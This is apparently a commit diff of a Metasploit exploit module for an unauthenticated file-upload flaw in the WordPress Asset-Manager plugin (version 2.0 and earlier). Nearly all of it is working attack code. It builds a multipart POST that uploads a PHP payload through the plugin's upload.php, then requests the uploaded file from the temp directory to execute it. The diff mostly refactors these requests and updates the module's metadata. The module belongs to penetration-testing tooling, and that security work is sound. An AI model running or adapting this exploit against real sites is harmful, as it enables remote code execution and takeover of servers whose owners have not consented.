9
9
require 'msf/core/exploit/php_exe'
10
10
11
11
class Metasploit3 < Msf ::Exploit ::Remote
12
- Rank = GreatRanking
12
+ Rank = ExcellentRanking
13
13
14
14
include Msf ::Exploit ::Remote ::HttpClient
15
15
include Msf ::Exploit ::PhpEXE
@@ -18,83 +18,74 @@ def initialize(info = {})
18
18
super ( update_info ( info ,
19
19
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability' ,
20
20
'Description' => %q{
21
- This module exploits a vulnerability found in Asset-Manager <= 2.0
22
- WordPress plugin. By abusing the upload.php file, a malicious
23
- user can upload a file to a temp directory without authentication,
24
- which results in arbitrary code execution.
21
+ This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
22
+ plugin. By abusing the upload.php file, a malicious user can upload a file to a
23
+ temp directory without authentication, which results in arbitrary code execution.
25
24
} ,
26
- 'Author' => [
27
- 'Sammy FORGIT' , # initial discovery
28
- 'James Fitts' # metasploit module
29
- ] ,
25
+ 'Author' =>
26
+ [
27
+ 'Sammy FORGIT' , # initial discovery
28
+ 'James Fitts <fitts.james[at]gmail.com>' # metasploit module
29
+ ] ,
30
30
'License' => MSF_LICENSE ,
31
- 'Version' => '$Revision: $' ,
32
31
'References' =>
33
32
[
34
33
[ 'OSVDB' , '82653' ] ,
35
- [ 'BID' , '53809' ]
34
+ [ 'BID' , '53809' ] ,
35
+ [ 'EDB' , '18993' ] ,
36
+ [ 'URL' , 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
36
37
] ,
37
- 'Payload' =>
38
+ 'Payload' =>
38
39
{
39
40
'BadChars' => "\x00 " ,
40
41
} ,
41
42
'Platform' => 'php' ,
42
- 'Arch' => ARCH_PHP ,
43
+ 'Arch' => ARCH_PHP ,
43
44
'Targets' =>
44
45
[
45
46
[ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
46
- [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
47
+ [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
47
48
] ,
48
49
'DefaultTarget' => 0 ,
49
- 'DisclosureDate' => 'Jan 23 2012' ) )
50
+ 'DisclosureDate' => 'May 26 2012' ) )
50
51
51
52
register_options (
52
53
[
53
- OptString . new ( 'TARGETURI' , [ true , 'The base path to Asset Manager ' , '/wordpress/wp-content ' ] )
54
+ OptString . new ( 'TARGETURI' , [ true , 'The full URI path to WordPress ' , '/wordpress' ] )
54
55
] , self . class )
55
56
end
56
57
57
58
def exploit
58
59
uri = target_uri . path
59
60
uri << '/' if uri [ -1 , 1 ] != '/'
60
-
61
61
peer = "#{ rhost } :#{ rport } "
62
- uid = rand_text_alphanumeric ( 34 ) . to_s
63
-
64
- @payload_name = "#{ rand_text_alpha ( 5 ) } .php"
62
+ payload_name = "#{ rand_text_alpha ( 5 ) } .php"
63
+ php_payload = get_write_exec_payload ( :unlink_self => true )
65
64
66
- post_data = "--#{ uid } \r \n "
67
- post_data << "Content-Disposition: form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } \" \r \n "
68
- post_data << "Content-Type: application/octet-stream\r \n "
69
- post_data << "\r \n "
70
- post_data << payload . raw + "\r \n "
71
- post_data << "\r \n "
72
- post_data << "--#{ uid } --\r \n "
65
+ data = Rex ::MIME ::Message . new
66
+ data . add_part ( php_payload , "application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ payload_name } \" " )
67
+ post_data = data . to_s . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
73
68
74
- print_status ( "Uploading payload #{ @ payload_name} to #{ peer } ... " )
69
+ print_status ( "#{ peer } - Uploading payload #{ payload_name } " )
75
70
res = send_request_cgi ( {
76
71
'method' => 'POST' ,
77
- 'uri' => "#{ uri } plugins/asset-manager/upload.php" ,
78
- 'ctype' => "multipart/form-data; boundary=#{ uid } " ,
72
+ 'uri' => "#{ uri } wp-content/ plugins/asset-manager/upload.php" ,
73
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
79
74
'data' => post_data
80
75
} )
81
76
82
- if res
83
- print_status ( "#{ peer } responds with status: #{ res . code . to_s } " )
84
- else
85
- print_error ( "#{ peer } not responding to our requests..." )
86
- return
77
+ if not res or res . code != 200 or res . body !~ /#{ payload_name } /
78
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
87
79
end
88
80
89
- print_status ( "Executing payload #{ @ payload_name} on the target... " )
81
+ print_status ( "#{ peer } - Executing payload #{ payload_name } " )
90
82
res = send_request_raw ( {
91
- 'uri' => "#{ uri } uploads/assets/temp/#{ @ payload_name} " ,
83
+ 'uri' => "#{ uri } wp-content/ uploads/assets/temp/#{ payload_name } " ,
92
84
'method' => 'GET'
93
85
} )
94
86
95
- if res and res . code == 404
96
- print_error ( "Target responding with a 404... Upload probably failed..." )
97
- return
87
+ if res and res . code != 200
88
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Execution failed" )
98
89
end
99
90
end
100
91
end
0 commit comments